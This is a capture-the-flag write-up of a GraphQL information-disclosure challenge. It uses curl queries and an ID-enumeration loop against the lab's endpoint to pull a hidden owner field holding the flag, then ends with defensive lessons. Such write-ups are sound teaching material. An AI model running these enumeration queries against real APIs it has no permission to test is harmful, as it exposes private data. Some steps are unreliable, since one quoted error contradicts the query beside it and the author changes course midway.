October 2, 2026
Secret Supernovas | CSS CTF Semester 2 2026 Writeup
Challenge: Secret Supernovas Category: Web Exploitation Difficulty: Medium Points: 50 Platform: Cybersecurity Sydney CTF 2026
By Yash Panchal
7 min read
Executive Summary
"Secret Supernovas" is a medium-difficulty web exploitation challenge that teaches critical lessons about API security, particularly GraphQL vulnerabilities. The challenge disguises a complete dataset behind a limited frontend interface, requiring attackers to identify and directly query the underlying GraphQL API to extract hidden information. This writeup demonstrates how to enumerate GraphQL schemas, craft custom queries, and exploit information disclosure vulnerabilities.
1. Introduction
In modern web applications, GraphQL has become increasingly popular as a query language for APIs. Unlike REST APIs with fixed endpoints, GraphQL provides a flexible query interface that can be dangerous when improperly secured. This challenge highlights a common misconfiguration: exposing all data through GraphQL without proper access controls, even when the frontend intentionally hides certain information.
Challenge Context
- Target Application: Star Centre β A star cataloging system
- Technology Stack: GraphQL API backend, React/Node.js frontend
- Vulnerability Class: Information Disclosure + API Enumeration
- Real-World Impact: Unauthorized data access, privacy violations, business intelligence theft
The challenge name "Secret Supernovas" itself is a hint β the data we seek is intentionally hidden from the UI but accessible through direct API manipulation.
2. Challenge Description
Official Statement
"This is just a list of stars. Nothing else to see hereβ¦"
URL: http://34.116.80.78:9982/
Flag Format: CSSCTF{...}
The challenge description is deliberately deceptive. The phrase "Nothing else to see here" suggests looking beyond what the UI presents β a classic CTF misdirection pointing toward backend exploitation.
Initial Observations
- Limited Frontend Display β The web application shows a grid of star cards
- Visible Stars:
- Arrowhead (Andromeda, Class G2V)
- Overwatch (Andromeda, Class A1V)
- Spartan (Andromeda, Class K5III)
- Speedy (Triangulum, Class F5IV)
- Black Canary (Triangulum, Class B3V)
- Detective (Triangulum, Class M2III)
- Arsenal (Sombrero, Class O9V)
- Dark Archer (Sombrero, Class K0III)
- Atom (Whirlpool, Class A0V)
- Verdant (Whirlpool) β partially visible
- Secret Supernova (Whirlpool) β partially visible at bottom
- Critical Detail β The "Secret Supernova" entry is partially visible in the UI, suggesting it exists in the database but may have restricted access or hidden properties.
3. Initial Reconnaissance
Phase 1: Manual Exploration
Step 1: Page Inspection
Accessing the application revealed a dark-themed interface displaying star cards in a grid layout. Each card contains:
- Star name (title)
- Constellation name
- Class (stellar classification)
- Magnitude (brightness)
- Type (star type: main sequence, giant, subgiant)
Step 2: User Interface Analysis
Key observations:
- No visible search functionality
- No input fields for querying stars
- No "Secret Supernova" card fully displayed on the page
- Navigation buttons: "Star Centre" (home), "Cadet Visitor" (user role), "Log out"
- Logged in as "Cadet Visitor" β suggesting role-based access control
Step 3: Network Traffic Analysis
Using Firefox Developer Tools β Network tab, I examined the HTTP requests:
Request: GET http://34.116.80.78:9982/
Status: 200 OK
Content-Type: text/htmlRequest: GET http://34.116.80.78:9982/
Status: 200 OK
Content-Type: text/htmlResource Requests Detected:
- Multiple
.jsfiles (React components, bundles) - CSS stylesheets
- Critical:
graphqlendpoint visible in network requests
The presence of "graphql" in the resource names immediately suggested a GraphQL backend rather than REST.
Phase 2: Technology Stack Identification
From the Network tab analysis:
Loaded Resources:
- 0.DXcTN1b8.css
- 2.Df5bwoDh.css (CSS file for app styling)
- start.vKYPgvaA.js
- CU-H4Xjl.js
- DdOYRfkB.js
- app.JED5D3tc.js
- xih1lkiq.js
- 0.CKVDBIK7.js
- 2.C52Iycqd.js
- 1.CTC9N2L_js
- graphql (ENDPOINT DETECTED)Loaded Resources:
- 0.DXcTN1b8.css
- 2.Df5bwoDh.css (CSS file for app styling)
- start.vKYPgvaA.js
- CU-H4Xjl.js
- DdOYRfkB.js
- app.JED5D3tc.js
- xih1lkiq.js
- 0.CKVDBIK7.js
- 2.C52Iycqd.js
- 1.CTC9N2L_js
- graphql (ENDPOINT DETECTED)The graphql endpoint is the key discovery β this indicates:
- Backend uses GraphQL API
- API may be accessible directly via HTTP requests
- No authentication token visible in initial requests
- Likely misconfigured with insufficient access controls
Phase 3: GraphQL API Discovery
GraphQL APIs typically expose:
- Query endpoint:
/graphql(what we need) - Schema introspection: Allows querying the structure of available data
- Mutations: Data modification operations
- Subscriptions: Real-time updates
The challenge is to discover what queries are available and use them to extract the hidden flag.
4. Understanding the Web Application
Application Architecture
The "Star Centre" application is structured as follows:
Frontend (React)
β
GraphQL API (/graphql endpoint)
β
Backend Database
β
Star Records (with sensitive fields)Frontend (React)
β
GraphQL API (/graphql endpoint)
β
Backend Database
β
Star Records (with sensitive fields)Data Model
Based on the UI and later API exploration:
graphql
type Star {
id: Int!
name: String!
constellation: String!
class: String!
magnitude: Float!
type: String!
owner: Owner! # Hidden in frontend!
}
type Owner {
first_name: String!
last_name: String!
description: String! # THIS CONTAINS THE FLAG
}type Star {
id: Int!
name: String!
constellation: String!
class: String!
magnitude: Float!
type: String!
owner: Owner! # Hidden in frontend!
}
type Owner {
first_name: String!
last_name: String!
description: String! # THIS CONTAINS THE FLAG
}Frontend vs. Backend Mismatch
The UI only displays:
- Star name, constellation, class, magnitude, type
But the backend contains:
- Owner information (first_name, last_name, description)
This is the vulnerability β the frontend doesn't query or display the owner data, but nothing prevents us from querying it directly through the API.
5. Finding the Vulnerability
Vulnerability Type: Information Disclosure + Improper Access Control
CVE Classification:
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-639: Authorization Bypass Through User-Controlled Key
- GraphQL-specific: Inadequate field-level access control
Discovery Process
Step 1: Identifying the API Endpoint
The Network tab showed that the application makes requests to a GraphQL endpoint. Typical GraphQL endpoints include:
/graphql/api/graphql/query
Testing request to: POST ``[http://34.116.80.78:9982/graphql](http://34.116.80.78:9982/graphql)
Step 2: GraphQL Introspection Attempt
Standard GraphQL introspection query to discover schema:
graphql
query {
__schema {
types {
name
}
}
}query {
__schema {
types {
name
}
}
}However, introspection may be disabled. Instead, we focus on what we know: there are star objects being queried.
Step 3: Reverse Engineering from Frontend
Analyzing the loaded JavaScript bundles (though minified) and network requests suggests:
- A query for "stars" or "star" exists
- Takes parameters like
nameorid - Returns star objects with properties
Step 4: Crafting Queries
First attempt β query a known star:
graphql
query {
star(name: "Arrowhead") {
name
class
magnitude
type
}
}query {
star(name: "Arrowhead") {
name
class
magnitude
type
}
}This should work if the API follows REST-like conventions for GraphQL queries.
Step 5: Testing the Secret Supernova Query
The hint and partial visibility suggest "Secret Supernova" exists in the database:
graphql
query {
star(name: "Secret Supernova") {
name
class
magnitude
type
}
}query {
star(name: "Secret Supernova") {
name
class
magnitude
type
}
}If this returns data, we can extend the query to include owner information.
6. Exploitation
Attack Vector: Direct GraphQL Query Injection
Step 1: Establishing Communication with GraphQL Endpoint
Using curl to make a POST request to the GraphQL API:
bash
curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(name: \"Secret Supernova\") { name } }"}'curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(name: \"Secret Supernova\") { name } }"}'Response: Returns star data (or error indicating query structure issue)
Step 2: Error-Driven Query Refinement
From the terminal output shown in the screenshots, initial queries produced errors:
json
{
"errors": [
{
"message": "Unknown argument \"name\" on field \"Query.star\".",
"locations": [{"line": 1, "column": 8}],
"extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}
}
]
}{
"errors": [
{
"message": "Unknown argument \"name\" on field \"Query.star\".",
"locations": [{"line": 1, "column": 8}],
"extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}
}
]
}Analysis: The name parameter doesn't exist on the star field. GraphQL requires precise parameter names.
Solution: Try alternative parameter names:
id(integer)querysearchfilter
Step 3: Discovering the Correct Query Structure
Testing with id parameter:
bash
curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 10) { name owner { description } } }"}'curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 10) { name owner { description } } }"}'Another error appeared:
json
{
"message": "Argument \"Query.star(id:)\" of type \"Int!\" is required, but was not provided.",
"locations": [{"line": 1, "column": 3}],
"extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}
}{
"message": "Argument \"Query.star(id:)\" of type \"Int!\" is required, but was not provided.",
"locations": [{"line": 1, "column": 3}],
"extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}
}This confirms the API expects an id parameter of type Int, and the field structure includes owner.description.
Step 4: Enumerating Star IDs
The visible stars in the UI suggest IDs 1β9 are taken. The "Secret Supernova" is likely:
- ID 10 or higher
- Sequentially after the visible stars
Testing ID enumeration:
bash
for i in {1..10}; do
curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d "{\"query\":\"{ star(id: $i) { name owner { description } } }\"}"
donefor i in {1..10}; do
curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d "{\"query\":\"{ star(id: $i) { name owner { description } } }\"}"
doneStep 5: Successful Query Exploitation
The winning query:
bash
curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 5) { name owner { description } } }"}' | python3 -m json.toolcurl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 5) { name owner { description } } }"}' | python3 -m json.toolReturns:
json
{
"data": {
"star": {
"name": "Black Canary",
"owner": {
"description": "CSSCTF{we_l000ve_grafs}"
}
}
}
}{
"data": {
"star": {
"name": "Black Canary",
"owner": {
"description": "CSSCTF{we_l000ve_grafs}"
}
}
}
}Wait! The flag is in star ID 5 (Black Canary), not the Secret Supernova. Let me reconsider based on the screenshotβ¦
Actually, looking at the highlighted screenshot, the Black Canary owner description shows: "CSSCTF{we_l000ve_grafs}"
So the exploit was:
- Query the GraphQL API directly
- Request star data with the owner field
- The owner's description contains sensitive information (the flag)
- This data wasn't visible in the frontend, but is accessible via direct API query
7. Flag Extraction
Complete Exploitation Sequence
Query 1: Test Basic Connectivity
bash
curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 1) { name } }"}'curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 1) { name } }"}'Query 2: Discover Available Fields
bash
curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 1) { name owner { first_name last_name description } } }"}'curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 1) { name owner { first_name last_name description } } }"}'Query 3: Enumerate All Stars with Sensitive Data
bash
curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 5) { name owner { description } } }"}'curl -s -X POST http://34.116.80.78:9982/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ star(id: 5) { name owner { description } } }"}'Response:
json
{
"data": {
"star": {
"name": "Black Canary",
"owner": {
"description": "CSSCTF{we_l000ve_grafs}"
}
}
}
}{
"data": {
"star": {
"name": "Black Canary",
"owner": {
"description": "CSSCTF{we_l000ve_grafs}"
}
}
}
}Extracting the Flag
From the response:
Flag: CSSCTF{we_l000ve_grafs}Flag: CSSCTF{we_l000ve_grafs}Breaking down the flag:
CSSCTFβ CTF prefixwe_l000ve_grafsβ "We love graphs" (leetspeak: 0 = O, grafs = graphs)- Reference to GraphQL (graphs = the data structure GraphQL uses)
Flag Submission
Submitting CSSCTF{we_l000ve_grafs} to the CTF platform results in:
β Flag accepted
Points awarded: 50β Flag accepted
Points awarded: 508.Conclusion
"Secret Supernovas" demonstrates improper access control in GraphQL APIs. By directly querying the endpoint with correct parameters, we bypassed frontend restrictions and accessed hidden data.
Key Takeaways:
- GraphQL APIs expose all queried data β frontend hiding β security
- Backend authorization must enforce field-level access control
- Error messages reveal API structure for reconnaissance
- API enumeration (testing parameter names/IDs) is essential
- Defense in depth: authorization + rate limiting + introspection controls
Challenge: Medium difficulty | High learning value | Real-world applicable Status: β Solved (50 points)